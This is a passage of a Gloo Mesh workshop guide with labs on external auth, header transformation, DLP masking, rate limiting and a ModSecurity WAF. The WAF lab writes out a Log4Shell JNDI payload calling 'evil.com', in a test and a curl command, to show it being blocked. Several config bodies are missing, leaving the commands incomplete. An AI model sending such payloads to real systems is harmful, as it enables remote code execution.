with the policy written in rego: + +```bash +kubectl apply --context ${CLUSTER1} -f - < ./test.js +const helpersHttp = require('./tests/chai-http'); + +describe("Authentication is working properly", function () { + + const cookieString_user1 = process.env.USER1_TOKEN; + const cookieString_user2 = process.env.USER2_TOKEN; + + it("The httpbin page isn't accessible with user1", () => helpersHttp.checkURL({ host: `https://cluster1-httpbin.example.com`, path: '/get', headers: [{ key: 'Cookie', value: cookieString_user1 }], retCode: "keycloak-session=dummy" == cookieString_user1 ? 302 : 403 })); + it("The httpbin page is accessible with user2", () => helpersHttp.checkURL({ host: `https://cluster1-httpbin.example.com`, path: '/get', headers: [{ key: 'Cookie', value: cookieString_user2 }], retCode: 200 })); + +}); + +EOF +echo "executing test dist/gloo-mesh-2-0-workshop/build/templates/steps/apps/httpbin/gateway-extauth-oauth/tests/authorization.test.js.liquid" +tempfile=$(mktemp) +echo "saving errors in ${tempfile}" +timeout 2m mocha ./test.js --timeout 10000 --retries=120 --bail 2> ${tempfile} || { cat ${tempfile} && exit 1; } +--> +If you open the browser in incognito and login using the username `user2` and the password `password`, you will now be able to access it since the user's email ends with `@solo.io`. + +This diagram shows the flow of the request (with the Istio ingress gateway leveraging the `extauth` Pod to authorize the request): + +![Gloo Mesh Gateway Extauth](images/steps/gateway-extauth-oauth/gloo-mesh-gateway-extauth.svg) + + + + +## Lab 14 - Use the transformation filter to manipulate headers + + +In this step, we're going to use a regular expression to extract a part of an existing header and to create a new one: + +Let's create a `TransformationPolicy` to extract the claim. + +```bash +kubectl apply --context ${CLUSTER1} -f - < ./test.js +const helpersHttp = require('./tests/chai-http'); + +describe("Tranformation is working properly", function() { + const cookieString = process.env.USER2_TOKEN; + it('The new header has been added', () => helpersHttp.checkBody({ host: `https://cluster1-httpbin.example.com`, path: '/get', headers: [{ key: 'Cookie', value: cookieString }], body: '"X-Organization": "solo.io"' })); +}); + +EOF +echo "executing test dist/gloo-mesh-2-0-workshop/build/templates/steps/apps/httpbin/gateway-transformation/tests/header-added.test.js.liquid" +tempfile=$(mktemp) +echo "saving errors in ${tempfile}" +timeout 2m mocha ./test.js --timeout 10000 --retries=120 --bail 2> ${tempfile} || { cat ${tempfile} && exit 1; } +--> + + + +## Lab 15 - Use the DLP policy to mask sensitive data +[VIDEO LINK](https://youtu.be/Uark0F4g47s "Video Link") + + +Now that we learnt how to put user information from the JWT to HTTP headers visible to the applications, those same applications could return sensitive or protected user information in the responses. + +In this step, we're going to use a Data Loss Prevention (DLP) Policy to mask data in response bodies and headers. + +Let's create a `DLPPolicy` to mask protected user information. + +```bash +kubectl apply --context ${CLUSTER1} -f - < ./test.js +const helpersHttp = require('./tests/chai-http'); + +describe("DLP Policy", function () { + const cookieString = process.env.USER2_TOKEN; + + it('Email is masked', () => helpersHttp.checkBody({ host: `https://cluster1-httpbin.example.com`, path: '/get', headers: [{ key: 'Cookie', value: cookieString }], body: 'XXXXXXXXXX.io' })); +}); + +EOF +echo "executing test dist/gloo-mesh-2-0-workshop/build/templates/steps/apps/httpbin/gateway-dlp/tests/email-masked.test.js.liquid" +tempfile=$(mktemp) +echo "saving errors in ${tempfile}" +timeout 2m mocha ./test.js --timeout 10000 --retries=120 --bail 2> ${tempfile} || { cat ${tempfile} && exit 1; } +--> + + + +## Lab 16 - Apply rate limiting to the Gateway + + +In this step, we're going to apply rate limiting to the Gateway to only allow 3 requests per minute for the users of the `solo.io` organization. + +First, we need to create a `RateLimitServerConfig` object to define the limits based on the descriptors we will use later: + +```bash +kubectl apply --context ${CLUSTER1} -f - < ./test.js +const helpersHttp = require('./tests/chai-http'); + +describe("Rate limiting is working properly", function() { + const cookieString = process.env.USER2_TOKEN; + it('The httpbin page should be rate limited', () => helpersHttp.checkURL({ host: `https://cluster1-httpbin.example.com`, path: '/get', headers: [{ key: 'Cookie', value: cookieString }], retCode: 429 })); +}); + +EOF +echo "executing test dist/gloo-mesh-2-0-workshop/build/templates/steps/apps/httpbin/gateway-ratelimiting/tests/rate-limited.test.js.liquid" +tempfile=$(mktemp) +echo "saving errors in ${tempfile}" +timeout 2m mocha ./test.js --timeout 10000 --retries=120 --bail 2> ${tempfile} || { cat ${tempfile} && exit 1; } +--> + +You should get a `200` response code the first 3 time and a `429` response code after. + +This diagram shows the flow of the request (with the Istio ingress gateway leveraging the `rate limiter` Pod to determine if the request should be allowed): + +![Gloo Mesh Gateway Rate Limiting](images/steps/gateway-ratelimiting/gloo-mesh-gateway-rate-limiting.svg) + +Let's apply the original `RouteTable` yaml: +```bash +kubectl apply --context ${CLUSTER1} -f - < +[VIDEO LINK](https://youtu.be/9q2TxtBDqrA "Video Link") + +A web application firewall (WAF) protects web applications by monitoring, filtering, and blocking potentially harmful traffic and attacks that can overtake or exploit them. + +Gloo Mesh includes the ability to enable the ModSecurity Web Application Firewall for any incoming and outgoing HTTP connections. + +An example of how using Gloo Mesh we'd easily mitigate the recent Log4Shell vulnerability ([CVE-2021-44228](https://nvd.nist.gov/vuln/detail/CVE-2021-44228)), which for many enterprises was a major ordeal that took weeks and months of updating all services. + +The Log4Shell vulnerability impacted all Java applications that used the log4j library (common library used for logging) and that exposed an endpoint. You could exploit the vulnerability by simply making a request with a specific header. In the example below, we will show how to protect your services against the Log4Shell exploit. + +Using the Web Application Firewall capabilities you can reject requests containing such headers. + +Log4Shell attacks operate by passing in a Log4j expression that could trigger a lookup to a remote server, like a JNDI identity service. The malicious expression might look something like this: `${jndi:ldap://evil.com/x}`. It might be passed in to the service via a header, a request argument, or a request payload. What the attacker is counting on is that the vulnerable system will log that string using log4j without checking it. That’s what triggers the destructive JNDI lookup and the ultimate execution of malicious code. + +Create the WAF policy: + +```bash +kubectl apply --context ${CLUSTER1} -f - < ./test.js +const chaiExec = require("@jsdevtools/chai-exec"); +const helpersHttp = require('./tests/chai-http'); +var chai = require('chai'); +var expect = chai.expect; + +describe("WAF is working properly", function() { + it('The request has been blocked', () => helpersHttp.checkBody({ host: `https://cluster1-httpbin.example.com`, path: '/get', headers: [{key: 'x-my-header', value: '${jndi:ldap://evil.com/x}'}], body: 'Log4Shell malicious payload' })); +}); + +EOF +echo "executing test dist/gloo-mesh-2-0-workshop/build/templates/steps/apps/httpbin/gateway-waf/tests/waf.test.js.liquid" +tempfile=$(mktemp) +echo "saving errors in ${tempfile}" +timeout 2m mocha ./test.js --timeout 10000 --retries=120 --bail 2> ${tempfile} || { cat ${tempfile} && exit 1; } +--> + +Run the following command to simulate an attack: + +```bash +curl -H "User-Agent: \${jndi:ldap://evil.com/x}" -k "https://cluster1-httpbin.example.com/get" -i +``` + +The request should be rejected: + +```,nocopy +HTTP/2 403 +content-length: 27 +content-type: text/plain +date: Tue, 05 Apr 2022 10:20:06 GMT +server: istio-envoy + +Log4Shell malicious payload +``` + +Let's apply the original `RouteTable` yaml: + +```bash +kubectl apply --context ${CLUSTER1} -f - < + + eyJ2ZXJzaW9uIjoiMSIsImVuY29kaW5nIjoiYnN0cmluZyIsImNvbXByZXNzZWQiOnRydWUsImVuY29kZWQiOiJ4nO19V3PqyLfv+3xcbtec1z+6ncN5c8A4XHUwMDA3glxyvnOLXCLIXHUwMDA0k0wwhlPnu9/V7L2NhFx1MDAwMlwiXHUwMDE5eWzNLjO2oNV0r/Bbq1f4n79cdTAwMGVcdTAwMGX+XHUwMDFlTnr23/998Lf9Xim1XHUwMDFh1X5p/Pd/zN/f7P6g0e3ALTL7fdBcdTAwMWT1K7N31ofD3uC//8//KfV61vxTVqXb/vVJu2W37c5wXHUwMDAw7/2/8PvBwf/Mfjqe1bcrw1Kn1rJnXHUwMDFmmN2aP45jvfjXm25n9miCpKRIYPzxhsbgXHUwMDA0XHUwMDFlN7SrcPe51Fx1MDAxYdjzO+ZPf1crctQ94e3CRa9Uk8mzdKt5QeZPfW60WpnhpPXre5Uq9VHfMafBsN99sVx1MDAxZlx1MDAxYtVhXHUwMDFk7uOFv398btCFXHUwMDE1mH+q31x1MDAxZNXqXHUwMDFkezBwfabbK1VcdTAwMWHDiflcdTAwMWJCXHUwMDFmf/21XGL/fTD/y7tZXHUwMDAxpC3NPi7+cdN8nGhsXHUwMDEx+XEpLFx1MDAxN+Z13G11+2Ze/4WUfObl+czKpcpLXHKm16nO34NJWSkxf8/497clSFnEcTHx8Za63ajVh+Y9RFjaebH5VOzZlmjMqFwiVJOPXHUwMDFi5vm98+qcOGZ/LVxcli7a94PXVJtcdTAwMWU+naZcdTAwMGb1KEWf/v59//8tLny91O/9XuC/XHUwMDA35lx1MDAxN8dXNN8uuUiATlwidFx1MDAxMMdhhlb5TSrbRrWTUuLq3H4rXjY+xnJRbKnf747//rjzv/9cdFx1MDAxYneQue2JRDlZQbbG/af+Xb5P+9HG9XzlUa9a+kXeWDAukKBcXDA6X89Wo/NcdTAwMDI3O6NW6y/HzFZlOVx1MDAxMsRyXHUwMDE4aYEl1UhG5rnBZeEufW33L0VlcPv+dvFYmnSScec5SaWl6Pxy85xAXHUwMDE2R/OLXHUwMDA0slx1MDAxY9NcdTAwMWNxXHUwMDE5znKEqLLtw3KYXHUwMDEw5OIn5cNyysNjWFwiwZRcdTAwMTSc7ozJZl9gTSZrPrNU7lx1MDAxMWVfu9fj7pDXMrXk7fNcdTAwMTaYLGHT/Fx1MDAwYtPtIZ+kajdInbXeXHUwMDEzmVgzXHUwMDE5XHLUa5pcdTAwMGKFiEI0Mo+d5Fx1MDAxZVC1cHmWaemTq8ZZPnd39zaIO49hRJWLyaSbyzR1cVx1MDAxOWWBbLZ/zYZcdFxiTcko/teptv1wXHUwMDA3XHUwMDE1KIg7XGJiTFxuLVx0j8xcdTAwMWW6NDyvnDTEqE3fs2e628jk0uXYs1x1MDAwN1XCWlx1MDAwMHuUWcipeGgwS8yuUJZcdTAwMTj2S51Br9RcdTAwMDdcdTAwMDLysoXS0k3yXq5QiljCcfFFptBcdTAwMDRxLIjAO+OJTTRRo/5YSvZfXHUwMDA3vFxckFeZxtXpey5xt1x1MDAwNU10Ocyp92eiXs4rguCHZPuNXHUwMDFmozjzXHUwMDFhdiCLRbhHiSRagZ1cdTAwMTWZ18qniWY91ytcdTAwMTGpbvh7h41EsX1cdTAwMTh3XmOM7JHVXHUwMDE0Xc5qeJG5QFxmYqmBwfbGXFyfTKZMXHUwMDA1XHUwMDAyJqylorAgNLpKXHUwMDE4pKpccvQwPc1cdTAwMWSlzlx1MDAwNil+93iuns/iTqZSMIvSQLNE6YhmSVxm8JJcdTAwMDTiVZI6QPBcdTAwMGZe2lx1MDAwNC+RYJOdgC3BXHUwMDE16KLIzHGcKD8kXHUwMDFiXHUwMDE1TVKpJG4+1nn5PNf6POZAazFcdTAwMDdcdTAwMDM4YshfgF3BMVx1MDAxN25rgkthUcSZQppLRDFcdTAwMGZkjo1sdsOhTsKnXuagXHUwMDBlXHUwMDAx/4dcdTAwMWI4JSDDiP42wpw4nLaL9CokhS10btEyepV314lcdTAwMTNVnN6i6lx1MDAxYq9gMbnOn6XjLswxY2xcdTAwMDF0XGJE3aBjJ1x1MDAxMlxcXCK0XGZvYOLBXHUwMDFiSmmNlSa7cyt9K4FNdKCBizmCf0iq6KD74fWilW0/a56+aZ/V8UDc5p5cdTAwMWFfgFx1MDAwMfhcdTAwMDJcdTAwMDNIaoCDXHUwMDE0XG5cdMFcdTAwMTCYjrtiXHUwMDAwXHUwMDFmzFx1MDAwMrjGyXtcdTAwMGXv21x1MDAxZimtlaaAxGOKWUr59NlcdTAwMGLKqiS55JXMtKVcdTAwMGU7mXSsWSBcdTAwMDSzYEU0XHUwMDAwelx1MDAxMZ1cdTAwMDWqzWrzqVt8vM6f2Nm3l+TNS+p0XHUwMDFhwFx1MDAwMlx1MDAwYqTsZoBFN+MuXHUwMDFkoFx1MDAwMi8wXHUwMDAwqL2IXHUwMDE4XHUwMDFlXHUwMDAwna0r4VxmULZZuVr2gSmCXHUwMDA10fpcdTAwMDc/cC9KYdo4OFx1MDAxMd5cdTAwMWRK2YT+m4ns8dFcdTAwMGIj+v6yTmrnlefxJD/1p/+h/T6M6s6Rw0Z5YE9cdTAwMTW5yDda+fZzws5Ttlx1MDAwNTdRsnh/jK/ZxbhbvsZ3+aG+PHuPeGBcdTAwMTE6buWtnJInnaNmtkEz6mySbVx1MDAxZSfLXHUwMDFijetatf9EXfhPkC6uXHQ5XHUwMDA1XHUwMDBiXHJcdTAwMTYsXHUwMDE0Y8y4UtHBZThdxVW3glx1MDAwMvWIXHUwMDE2XHUwMDE5XHUwMDExXFw+z671XHUwMDFkWpjPZeiHPGFzJ+NcdTAwMWZ5goSiiKL9qdO1SHK+893OMNOY/jqTcP31tNRutCauzZvRqvE6d2p9mN3BP51cdTAwMWE8cFxcmjiXeWDDc8x4zP3Bw1aj1pkxN8zc7rtoftiolFpcdTAwMWZvaDeqVae2rcBsSjBm/zyKkuz2XHUwMDFitUan1MouTPbPVDfQ9UJcdTAwMDSypKKEXHUwMDExJkh0XV+cPKXro3bXVp2ULL1cXCVG09Yk7rqe61x1MDAwNYZkRMZW11x1MDAwM1dcbs1cdOJ7480wXHUwMDFkd35LXHUwMDFmT8rkrHyIS1x1MDAwZs3TfE886NKPqt9cXNXvaHmXIVxi/1x1MDAwN0acLX7oVETloVhu2o/H6DB1f4TGN3u2e4KQXHR1cN/isbbgWFx1MDAxM2d43zIpXHUwMDE4vk3xXHUwMDA1JoteL0ajer0+XHSYXGKz7UI5XHUwMDE00jdcdTAwMDAmdmkwXHUwMDFj24PhnpDJXHUwMDEylb6ITD5muzk0XHUwMDAxayCQJzHCWlwivoIr+jnVrV6Unm5HuWKmctVTw9Py1VpuiE+ML6bEQtxxubhcdTAwMTM+T123dSB7RjhcYt8yTNFcYlMhd3lcYr5cdExcdTAwMTk/0veX9/40V2p3MX9X6YvapPNcdTAwMDNTtlx1MDAwNVN2tLxbXHUwMDFmdlx1MDAxOfrxf2DE2bJcdTAwMWO+Pq3nUvXc2fStmM1X5G3lKqbohzuixr1GoFSMMlx1MDAxNj3mNXyfYlxuf7hxwoTIWoIsXHUwMDFlSdbuXHUwMDA0XG5cdTAwMTFvnIaSXGK0IGX7k7D7cNJcZoaNbtVcdTAwMTf/OPJrtop/luBcdTAwMDaPZ+bXXGY3QD2CXHUwMDA18qLWmFKFZXRenJ7kJlx1MDAxN+VXmrrtl6v1m3NVOnluxlx1MDAxYvVgJIUlXHUwMDFkgUyLqEdYeFx1MDAxZdsqQ47iI6CewHiR9Vx1MDAwZWK0wIhcdTAwMTFcdTAwMTZT70zlqdGY3lUr9/lcdTAwMDTF6btelVWGRz+wZ1uwZ+vLu1xmn/g/MOJsXHUwMDFm9L1WVGWbL09X/ZpcdTAwMWGfjF7HzS2swnVcdTAwMDMl2rJeyDVzN5k30UpcYrve2sK4WVSRtVx1MDAxMupf4odhrpQ6QSn8XHUwMDFhgP5WXHUwMDFht0urhZeCmojqjT1sXvR6xft2gE9tpXFvSimab9/ZZV6+KaaO84Q21FtM8Vx1MDAxZtPBXHUwMDExvCbeg+lcdTAwMTVcZu1wNogp/MNI4TClg7Ezo1wiROl8kieMaiWJdG7LN0B/qVa3e3BtXHUwMDBm6lx1MDAwN/90SjXX8n2CI2xcdJRaXHUwMDA0gvPJ/prqWoxJUSBcdTAwMTjUjCikVnFLTzI5Us4n+bQ+fUHtw0nibjpcdTAwMWXHnTFcdCXcXHUwMDAyO1x1MDAwN0smZj9cdTAwMTdcXNRKWkRxidmvnyw4fFx1MDAxOCvBSuGBaaGcSbhPni9cdTAwMTWLnCkpXHUwMDE4ZVxuyXhCQJ0qto9q56P6ICllelx1MDAwNFx1MDAxYn7fKOxeK/nyvYrK9+Vu96XRee5cdTAwMWWMu/1cdTAwMTfYn4rty/iOvMPVXHUwMDE4f9jtXHUwMDA1cb1r8oss7jOvUC7/taI+bI5VYMypXHUwMDAyc0hcdTAwMTLMo5/Bh29xLE0+QuliwClcdTAwMDe2j3b2XHUwMDE0ga+DzTxELMKpXHUwMDA0w01TXHUwMDEz3O6TM1x1MDAwM5ag1EIoRpBAWFBvuIxiVDGhYpskIHA4U1x1MDAwZYal/vCo0ak2OjW4N1x1MDAxN1x1MDAxYn9KxJxH0Fx1MDAxZjM2roxmaVwixlVcdTAwMDaLQlx1MDAxMLwgRuf+XG6zNKWemZz1IbLNT6nJ73d8gOq/7U51PifXfFulwfC42243hvBN77qNztD3XHUwMDFiXHUwMDFkXHUwMDFhdqvbJVx1MDAwZlx1MDAxZsPIznuLfNkzI7q3bv5/XHUwMDA3c9Kd/fLx///vP77vTlx1MDAwNJOYuTzENVx1MDAxZu8v5+uqwFx1MDAwMavASDtTJkRcdTAwMTC0QkqeSF3w9EProjzOXHUwMDFkqXbr8P2e1DNxlyhkMapHXHUwMDE4XHUwMDE5s7VcdTAwMWOOIIlCmFx1MDAwZkpw2lx1MDAwYr+TRDGDXVx1MDAxME7He7xkxk5cdTAwMTV54rlcdTAwMGZvXHUwMDA0Nlx1MDAxY/zT6ZTadrBOXHUwMDE364L5TXW6/1x1MDAxNNfixbBweolNiJ2k0T26R6PGY/7pgddEMTs8StmXL1fX2bgzoyMzw3xELaR0LE5lS6xIfVx1MDAxMqi8rMiFlIpcdTAwMTC8u2jXTYoh7Dp5ZFx1MDAxOTbYjM/NdsWbzf1muFx1MDAxZYinJLhaXHUwMDAzLDPWIPKj69zwvLm4sjmzXHUwMDA0XHUwMDEximuAw4I7PFkz/SuVZTBcdTAwMGWXXG6gkCa70b9YXG6La800XHUwMDE3nDFnqt6HXGJAXHUwMDE2YVxiaa5NQS6JlWZcdTAwMWUjnjBcdTAwMDFgXGZAW0y184qIflx1MDAxMf0ux/rhibsurE9gPlx1MDAxNCxY2DVCJJ7PbFx1MDAwZfaJxVx0wFx1MDAxZIY1gf2RXqz/tVx1MDAxMH1cdTAwMTCJze76UNeKmD5YwogwXHQjlOJgYESWMOGaJa5cdTAwMTKGgr2kJaw6kcQtX1x1MDAxNMNcdTAwMTZlSlx1MDAxMSRcdTAwMTUmUm9WlSyqfCE+XHUwMDA3w8jShEqgXHUwMDAwkyhpouC80Vx1MDAxYoxTJZhi+6tcdTAwMDX4KS6DcLDqXHUwMDEyI0gjMJElx2C6UUmVV4xwi4DVxkGEXHUwMDEwWFxcIFx1MDAwMo9cdTAwMTiJJNrCU7Ldc1wioKdcdTAwMTgyNc0oXHUwMDE4zEr7ODKwJT9mXHUwMDA1prWm/y7hRqjr81x1MDAxZcpeUbZcdTAwMDVHoFx1MDAwNaYhgSXPMEUrXHUwMDA0oFx1MDAxZOfrXHUwMDE3qZv6IF3jdrfR7t2PT0dBJlJ8XHUwMDBlOkCPWoxcdTAwMTNqXG6hmJ/uMimgSCw9v4s38oeGn3PISOdcdTAwMWNcXIK6V1x1MDAxOO0v/uzjXHUwMDE58ak6upnZ9Dtkflx1MDAxMLdzXHUwMDBln3mtXHUwMDA3YExcdTAwMThlXHUwMDEwm1x1MDAwM4bkJtUmuolcdTAwMTS+x/FcdTAwMDQwhGBLI8RcdOBcdTAwMTRK8EKdMGJKIYHcNUl+IPVCwlxmNjn0IIxacE+ZjFx1MDAxZolgIO7ld0EtRojmJlx1MDAwN1x1MDAxNGFvkTvMXHUwMDE4aGCM2O6OOWNcdTAwMDFgwlWJXHUwMDBiLFCjNGE9XHUwMDExXHUwMDAwf+Ned/j5/2BcdTAwMDVqcVhRwFxuRGMwhzlfXHUwMDBmwYRcdTAwMTfudk3KOFx1MDAxOPXMXHUwMDE2XHUwMDA3SFx1MDAwNfvFvZPSlqLwXHUwMDFmgFFcdTAwMDDNlGPhmdSXXHUwMDAyMMHUba5Ful5cdTAwMTG+LCmdXHUwMDE1Up2dmsLRgkY/xlx1MDAxNbmrafFq3E7nk2RCqqVB+sGuriPdPjGVWpLFY1xcQcFcdTAwMWXmUVx1MDAwZV2ipFIvXHUwMDA2V21cdTAwMTatK1x1MDAwMMdSKXfo5NlcdTAwMDTB8OtpIXd58np62SpVc0T36OA9oFxublx1MDAxY4J17/V7fZi+e7+aVlx1MDAxZnrDXHUwMDAxOZ5cdTAwMWVcdTAwMTfHW1x1MDAxOLdrn7yl+FBW2MnxqH9xcl647YuNxl1cdTAwMTZV67/w28GHocIl+Cw32O2DMNMzmzmyXFxcdKermFx1MDAxYUdYglx1MDAxY1mQLExakkc5Q4ogWZaFZC6VLj5cdDpYXGJNpGTfqopKr9+tjirDXqnmb7vsKktnibZcXLRonNPcQOHz4FKBoFx1MDAwYlx0XHUwMDE2SkT3x+J3fXPZOcq/ZTKd685tj5313lnMXHUwMDE1PvfUSZPALFtjyy0rfFwiKVFMx7RM4CBbtU9HNlx1MDAxMnJ6To9zk2L6XHUwMDE2jzZX+DtcdTAwMWH2q+GIfvWi1KjWXHUwMDA2vPp2+9gpPVx1MDAxN87JccTA1zVxhP/C71x1MDAxMUdcdTAwMTBHNv6CuOJgl7rcXHUwMDExS6u0h1JVXFxRXHUwMDA099Rek5K47JOdolxiXHUwMDFm2OBpzWEq+UpTbWZ/5Xz3XHUwMDAwXHUwMDFiqjYo89bAXHUwMDFmMijX27dcdTAwMDZcdTAwMTmW6NtFyPBniuvDXHUwMDA1XHUwMDFhkmUvhcBcdTAwMWHIc4Uwb9LoXT8nXHUwMDFmiomH++NMXHUwMDFkPZ+O27WYw1x1MDAwNUlcdTAwMTbhgpIotnBcdTAwMDFjLmFuJKZFTI5vXHUwMDFlXHUwMDBln8pjzO76z/mXXuG62LRcdTAwMDPSWFdR7F9r2M9X6/5fJOJ0p4nWaY62U0RcXIpcdTAwMWJylMtkRk2++2OpteCCs87/griSRFx1MDAxOT/2XG5nNeHbXHUwMDFmV7wgyVwiXlBK7Vx1MDAxNS/49GvRnGqG8beqidYvXHJcdTAwMWKdWlx1MDAwMF7YkYthicJdxFx1MDAwYn+muFx0XlxiaVx1MDAxZCOJaUYgVqh/dvR+1j1cIp2bzFmmcFx1MDAwYqbw81x0uog5XlBKetxcdTAwMGI8vnhcdTAwMDEgXHUwMDFjJVx1MDAxNO0wknxcdTAwMTO8UFN5/lhCt1xydSpcdTAwMWYmV0f9V/RcdTAwMWHgSV9FXHUwMDAzf61hP/84wf+L/CvxQmCuulx0yVx1MDAxNKZLQXRvaPj+x1x1MDAxNTCA8e5xMNB4OVx1MDAxOFx1MDAxNMPMnHx+K7hgvzXs8ee6XHUwMDE3luhbXHUwMDBmXFz4PcVQ1lx1MDAwYlxmrGI8hPdcdTAwMThcdTAwMTCuXHUwMDE0K+R7hvtgV+K9xfP+XYJ1ri1cdTAwMDS4SCDGXHUwMDA0fGd3bJVExFx1MDAxMkSChlx1MDAwNtREhVx1MDAwZe5cdTAwMWG6KVx1MDAxZipqcSq45EyCtaC0T3RcdTAwMTUjlkaKalx1MDAwNJCBKOplUs2UQpztMSdtWXRcdTAwMTVccuXSiNFV4ad2XHUwMDA380Amk1XBMWJcYjFFhYA9xo53fURXUTnfYLCIfr9jxeiqcL+ge1KmaVx0YTAzLLFcdTAwMDJTzDMpbVx1MDAxMcxcdTAwMTg2Raspk1x1MDAxY2vPnL5UcFUgbZvLQ9Xz4f5yvq4s3ThccvREYI1cdTAwMTVHXFyj6I7TcFxiXHUwMDE4V+mmXHUwMDE4XHUwMDAzXHUwMDE24Fx1MDAxNGmOXHUwMDE4kN2idKOWUkD+SoFoXHUwMDEzu1x1MDAwM1x1MDAxOVJbsOBUmkhekFDKp15cdTAwMDaVltSEScLULCdiUbYxRMBQXHUwMDEyOzzg+FqyXHKkiJJcdTAwMDB7iFZcdTAwMWOD3J9cdTAwMDOSuWhjlslG/L27SPI1U1/CMYl7TphxKcxhOVx1MDAwN8Q4T6Zyzlx0SSqZSWNcdTAwMDJhy+nXTnxcdCRscy2S9IqCLTyIhFx1MDAwNWa+XGKEqIQ5zVHAMtmm3tLvhaNBvUx7zyelq2y2cFiNffPsxY7AXHUwMDAy8Ygxo5/fbFx1MDAxNVRcdTAwMWKmXHUwMDA0aOSn2+qW2mNcdTAwMDeq9ll9O5OJXHUwMDE2mfpfylx1MDAxM6LygEGK04vDW5K+Kuu3oFxiqlx1MDAxOFG/clG/pCqih3NcdTAwMGadVinYV5LENelr941WfZHBXHUwMDA2sj84XCLH1IUhQq5cdTAwMTLZa4+ml5eq+1467Vx1MDAwZYfjI1LjJzfDXHUwMDAw8o+Jh18xd2FcdTAwMThByVx1MDAxNjuvbde9r1x1MDAwNFaSXGJcdTAwMTVPyT+6aNwq2qynzrt1XU2Nn++7LMZNVq/PK5M31rRH9DJ5U8k2mo2H1/ZcdTAwMTbGrZy+PNitdOU8l7rq5juyca2zm/n3d7S8y45ccvxcdTAwMWZcdTAwMThxtoVb0UqlXG5FObrqXHUwMDBlblx1MDAwYjlVfK319yxcYoOrY4VcdTAwMTj3YH1Q6nRWL5OB4ftcdTAwMTRTXGKgXHUwMDE2K+VwXHUwMDE0sTzWflJcdTAwMWJcYueAWqiKb2ZDuFx1MDAwNf+lMlx1MDAxYpZo9Vx1MDAxZGU2hKRcdTAwMWNxojEjfFx1MDAwNav0Pd99S1x1MDAxZGY0te+ei7fv+uXh6nStSjOfXHUwMDA3TIRajDuQ22PJbcdcdTAwMWSAlFx1MDAxNFx1MDAxNNNcdTAwMWTWktxcdTAwMDSZPLzf9PB1rXN/cjvovmfsVIJcdTAwMTTszZHJjob9aoDn7YipciFLKb3rv5zcVOlx/lxybWHcrS/vMsDj/8B9XHUwMDAyk1x1MDAxMFx1MDAxOVxiRrp5noxcdTAwMWXPXHUwMDEwvp4xXHUwMDA1JkLPf/9cdTAwMTXMwFxc5tneg1x1MDAxOUzMvFSE0fiGM+xcdTAwMDCK7CNbYolcdTAwMGXfQbZcdTAwMDRcdTAwMGLug2bOXHUwMDFmTdnWyNxnV3D68bWGqvYh6T8+Plx1MDAxZbXFw2W8XHUwMDExiGKLmVx1MDAxMjS2XGJEm1wixkTq3Vx1MDAxNYPZqOfFRHZHWTI6Stdxlz/xgpqO6psjha817K5wwtanu1xmJ/g/cI84gfKQsi/wPKZXSaxcZl/PmOJcdTAwMDTF3ThBabRXnODNkuBcdTAwMThLRHZYrSqGMGFcdTAwMWZJXHUwMDEyS1x1MDAxNO1cdTAwMGWSJGhcdTAwMThKJ1x1MDAwNCnMouOE/pBcZif49vrptj654+Pi0W3mKlx1MDAxOW+cYHrTuUE6j1pcXH9cdTAwMGZcdTAwMTVcdTAwMTgwXHUwMDE1mjFcdTAwMWPTXHUwMDEyXGa5Qlx1MDAxZmdy2czkKNlcdTAwMWHdTItPT/e3w81179dcdTAwMWF2V0coW5/uMqTg/8Dd46U9IFx1MDAxMLr4V0diuUbI9FiKLFx1MDAwM8P3KaZcYlx1MDAwNKTgPIzql6uCf95cdTAwMTlKXHUwMDE0XGJCXHUwMDEw0oqL7+WpXGJNvNhcdTAwMTFcdTAwMDRZosO3m3jBg0vyXHUwMDEzzDjXRPDoXHUwMDA3JeFO4piGJitFLCy5xMCDilx07Vx1MDAwZeaTiFlKflLeXHUwMDA1JYpyzlx1MDAxMWZU+LXyW5p3gblmXGI4XHUwMDAy7y7AKVx1MDAxNsHJ4YeKXHUwMDA37sRcdTAwMGImiUJUXHUwMDExKVx1MDAwNVx1MDAxNo6U44NtZ16E+1x1MDAxOFx1MDAwZkIyL/h3yLzwp25z7SzzQrDgxuBmWYEuV+g4XHUwMDEyjixjKt60kFx1MDAxNkNaXCJNqTYtiFx1MDAxN8SbsDD9nMRcdTAwMGLTL5ArIHjYf+nT12hZ4lx1MDAwNVZUwOcl+1x1MDAxMW7zmt1IXHUwMDEzQk1cdTAwMTNSRVx1MDAxNZc+sm1LqVx1MDAxN+Go5CA49UL5T+pflnvhT9vm2jD3XCJQtElcdTAwMWVcXI3LeI3QSi1Sw83FmIo2U5Xc4tpcdTAwMDA3iThCjp6xMy8uJaD8OTO7Qlx1MDAxOFx0aTmysXAz9KxhJpoxQrj0M6hMtV9cZsyqgDVcdTAwMDTxtmzDWCityS5cdTAwMWKvbyrd5l9rXHUwMDAz6Vx1MDAxNlmQXHUwMDAwSJphWS6IsUJcdTAwMTCmXHUwMDBlvvojSLhrhzHyoqRI0i3c7bswKVPeXHUwMDEwc1x1MDAwMkSDgeSkT2qZOekkQnKqXHUwMDAw5Vx1MDAxOcv0S4u3RCB5m8tD2Ctcbrhw77hcblx1MDAxMXJqVlx1MDAxOYCt4Fx1MDAxObq6zTVcdTAwMWZOK1x1MDAwZlx1MDAwZqXpYHTXOuq/tFW8veNSXHRcdTAwMGJcZpePy1x1MDAxZGhL0TbTXHJcdTAwMDJbxq3lKpdcdTAwMWNcdTAwMTA98Ek8z9Rt3u/gh0zhvXp2dft+UVx1MDAxYtdPOlx1MDAwMVx1MDAxMeZxiL5LXHUwMDE274/xNbtcdTAwMTh3y9f4Lj/Ul2fvXHUwMDEx20GFjlt5K6fkSeeomW3QjDqbZJvHyYCqhiuNu/XlXeYr939gxNk2n1kq94iyr93rcXfIa5la8vY52ip46HTXvnIw5YIkoqJYaq1W6NFcdTAwMTK+TTF1lUuNw0RcInHnXHUwMDFlXHUwMDA0i8TFk8FcdTAwMWT5zZkxu5VE3yrZXHUwMDAwXkqjYd25uJv7zUPavy1T7YtO8z/zW1x1MDAxZpmw4LRcdTAwMWZcbtaX4HiF4NpBul6d3sinWvaFXHUwMDE16cXwJV0v5uJcdTAwMGVMpEXV/HJ7zVx1MDAxOWOxXHUwMDA1JsC3gFx1MDAxYzVn8Uw3aHXK90P2fHv+8k6OXHUwMDA2MtW9fk5cdTAwMDRAiFx1MDAxZmSy+rg7Wt6tXHUwMDBmu1xm8Pg/cJ/ARIXkQVxu46UkOnpcdTAwMThh+HrGXHUwMDE2mZAwmShIvJBcdDFlYoRk5FtBkz485qDVaDdcXGDjXHUwMDEzzvWXKHmf0ML5PDfAKSFFmFx1